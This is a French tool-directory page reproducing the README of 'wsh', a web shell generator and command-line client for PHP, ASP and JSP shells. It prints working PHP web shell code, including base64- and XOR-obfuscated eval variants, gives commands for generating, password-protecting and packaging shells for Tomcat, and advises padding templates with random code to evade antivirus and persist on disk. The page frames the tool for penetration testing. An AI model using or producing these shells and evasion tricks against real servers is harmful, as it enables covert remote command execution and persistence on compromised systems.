Skip to content
KitploitKITPLOIT
OutilsBlog
Log in
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
wsh — Générateur de web shell et interface en ligne de commande. | Kitploit
Outils/GitHubGitHub/eatonchips/wsh
Génération de PayloadsExploitation d'Applications WebTests d'IntrusionCommandement et Contrôle
GitHubeatonchips/wsh

wsh

Générateur de web shell et interface en ligne de commande.

Voir le dépôt
85209il y a 5 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

wsh

wsh (prononcé woosh) est un générateur de webshell et une interface en ligne de commande. Au départ, ce n'était qu'un client HTTP car interagir avec des webshells est pénible. Il y a un formulaire : pour envoyer une commande, vous devez taper dans une zone de saisie et appuyer sur un bouton. Je voulais quelque chose qui s'intègre mieux à mon flux de travail et qui s'exécute dans le terminal. Ainsi est né wsh.

Le client dispose d'un historique des commandes, de la journalisation, et peut être configuré pour interagir avec un webshell standard préalablement déployé avec un formulaire/bouton. Le générateur crée des webshells en php, asp et jsp. Ils sont générés avec des variables aléatoires, donc chacun aura un hachage unique. Ils peuvent être configurés avec une liste blanche, des mots de passe, et permettent d'envoyer des commandes via des en-têtes et paramètres personnalisés. Le générateur et le client peuvent être configurés via des options en ligne de commande ou des fichiers de configuration, afin de pouvoir enregistrer une configuration qui vous convient sans avoir à faire ce que j'appelle la 'danse du --help'. Une fois configurés, le client et le générateur utilisent le même fichier de configuration.

Fonctionnalités

  • Interagir avec des webshells déployés via la ligne de commande
    • Journalisation
  • Générer des webshells en PHP, JSP et ASP
    • Liste blanche IP
    • Protection par mot de passe
    • Envoyer des commandes via des en-têtes/paramètres personnalisés
    • Téléchargement / téléversement de fichiers
    • Shells encodés en Base64 pour asp et php
    • Shells chiffrés par XOR pour asp et php

Utilisation

Connexion

wsh <URL> [flags]

-X, --method string        HTTP method: GET, POST, PUT, PATCH, DELETE (default "GET")
    --param string         Parameter for sending command
    --header string        Header for sending command
-P, --params strings       HTTP request parameters
-H, --headers strings      HTTP request headers
-c, --config string        Config file
-k, --ignore-ssl           Ignore invalid certs
    --log string           Log file
    --prefix string        Prepend command: 'cmd /c', 'powershell.exe', 'bash'
    --timeout int          Request timeout in seconds (default 10)
    --trim-prefix string   Trim output prefix
    --trim-suffix string   Trim output suffix
-h, --help                 help for wsh

Génération

wsh generate <language> [flags]
wsh g <language> [flags]

-X, --method string        HTTP method (GET,POST,PUT,PATCH,DELETE) (default "GET")
-p, --param string         Parameter for sending command
    --header string        Header for sending command
-w, --whitelist strings    IP addresses to whitelist
-o, --outfile string       Output file
    --no-file              Disable file upload/download capabilities
    --pass string          Password protect shell
    --pass-header string   Header for sending password
    --pass-param string    Parameter for sending password
    --xor-header string    Header for sending xor key
    --xor-key string       Key for xor encryption
    --xor-param string     Parameter for sending xor key
    --base64               Base64 encode shell
    --minify               Minify webshell code
-t, --template string      Webshell template file
-h, --help                 help for generate

Utilisation du client / E/S de fichiers

Je voulais que le client soit indépendant du langage, donc tous les webshells devaient implémenter la même logique de téléversement/téléchargement. Malheureusement, il est pénible de faire des téléversements multipart de manière native en jsp et asp classique, donc les fichiers sont téléversés en base64 dans un paramètre. Ce n'est pas idéal car la taille maximale de téléversement est limitée à la taille maximale d'un paramètre. À l'avenir, je pourrais essayer d'implémenter des téléversements multipart, ou effectuer plusieurs requêtes pour transférer des fichiers plus volumineux.

$ wsh 127.0.0.1:8080/test.php --param cmd
127.0.0.1> help
get <remote filepath> [local filepath]  Download file
put <local filepath> [remote filepath]  Upload file
clear                                   Clear screen
exit                                    Exits shell

Exemples de génération

Shells simples

Les commandes suivantes génèrent et interagissent avec un simple webshell php.

$ wsh generate php --param cmd --no-file -o shell.php
Created shell at shell.php.

$ wsh 127.0.0.1:8080/shell.php --param cmd
<?php
  $MfOb = $_REQUEST['cmd'];
  $MfOb = trim($MfOb);
  system($MfOb);
  die;
?>

Les commandes peuvent également être envoyées via des en-têtes HTTP

$ wsh generate php --no-file --header user-agent  -o shell.php
Created shell at shell.php.

$ wsh 127.0.0.1:8080/shell.php --header user-agent

Liste blanche

$ wsh generate php --no-file --param cmd -w 127.0.0.1,10.0.23.3 -w 12.4.22.3 -o shell.php

Protection par mot de passe

Les mots de passe peuvent être envoyés via des paramètres ou des en-têtes.

$ wsh generate php --no-file --param cmd --pass S3cr3t --pass-param pass
$ wsh 127.0.0.1:8080/shell.php --param cmd -P pass:S3cr3t

$ wsh generate php --no-file --param cmd --pass S3cr3t --pass-header pass-header
$ wsh 127.0.0.1:8080/shell.php --param cmd -H pass-header:S3cr3t

Chiffrement Base64 / XOR

Cette fonctionnalité est intéressante, mais peut nécessiter une modification des modèles pour être utile. Dans le cas de asp et jsp, les bibliothèques qui facilitent le décodage base64 sont des IOC connus et seront signalées. Si vous êtes intéressé par l'utilisation de ces fonctionnalités, je recommande de modifier le modèle et d'obfusquer.

Comme pour la protection par mot de passe, la clé XOR peut être envoyée via un paramètre ou un en-tête.

$ wsh g php --param cmd --no-file --base64
<?php
eval(base64_decode('JEZISENTPSRfUkVRVUVTVFsnY21kJ107JEZISENTPXRyaW0oJEZISENTKTtzeXN0ZW0oJEZISENTKTtkaWU7'))
?>

$ wsh g php --param cmd --no-file --xor-key S3cr3tK3y --xor-param X-Key
<?php
$KHhx = $_REQUEST["X-Key"];
$LqC = base64_decode("d2MPPUdJb2wrFmI2N2AgEBQaPldELwhQG182Jw4XAFoZYxcpP3wXWwgHMkANNl5LVmMYBEdQaFcKFwg=");
$oooqt = "";
for($YpuI=0; $YpuI<strlen($LqC); ) {
  for($cMq=0; ($cMq<strlen($KHhx) && $YpuI<strlen($LqC)); $cMq++,$YpuI++) {
    $oooqt .= $LqC{ $YpuI } ^ $KHhx{ $cMq };
  }
}
eval($oooqt);
?>

Shells Tomcat

Pour générer un webshell pouvant être déployé sur Tomcat, créez un shell jsp nommé index.jsp et exécutez la commande ci-dessous pour le zipper en fichier war.

Parfois, l'environnement Tomcat ne dispose pas des bibliothèques nécessaires pour le téléversement/téléchargement de fichiers et le shell générera une erreur lors d'une requête. Pour y remédier, utilisez l'option --no-file.

$ wsh g jsp --param cmd --no-file -o index.jsp
$ jar -cvf shell.war index.jsp

Modèles

L'utilisation de la bibliothèque de modèles Go ajoute beaucoup de flexibilité au générateur. Parfois, un webshell sera détecté par un antivirus, mais j'ai constaté que l'ajout d'un tas de code aléatoire dans le fichier modèle rend souvent le shell suffisamment bénin pour lui permettre de persister sur le disque. J'ai inclus un exemple dans le fichier templates/covert-php.tml.

De plus, vous pouvez modifier ces modèles pour inclure votre nom/informations de contact pour l'attribution dans le cadre d'un test d'intrusion.

Fonctionnalités du client

Préfixe

Un préfixe peut être spécifié pour ajouter une chaîne au début de chaque commande envoyée au shell. Cela peut être utilisé pour transformer un shell cmd normal en shell PowerShell.

$ wsh http://10.0.0.27/shell.asp --param cmd --prefix powershell.exe
10.0.0.27> ls
Directory: C:\windows\system32\inetsrv
Télécharger l’outil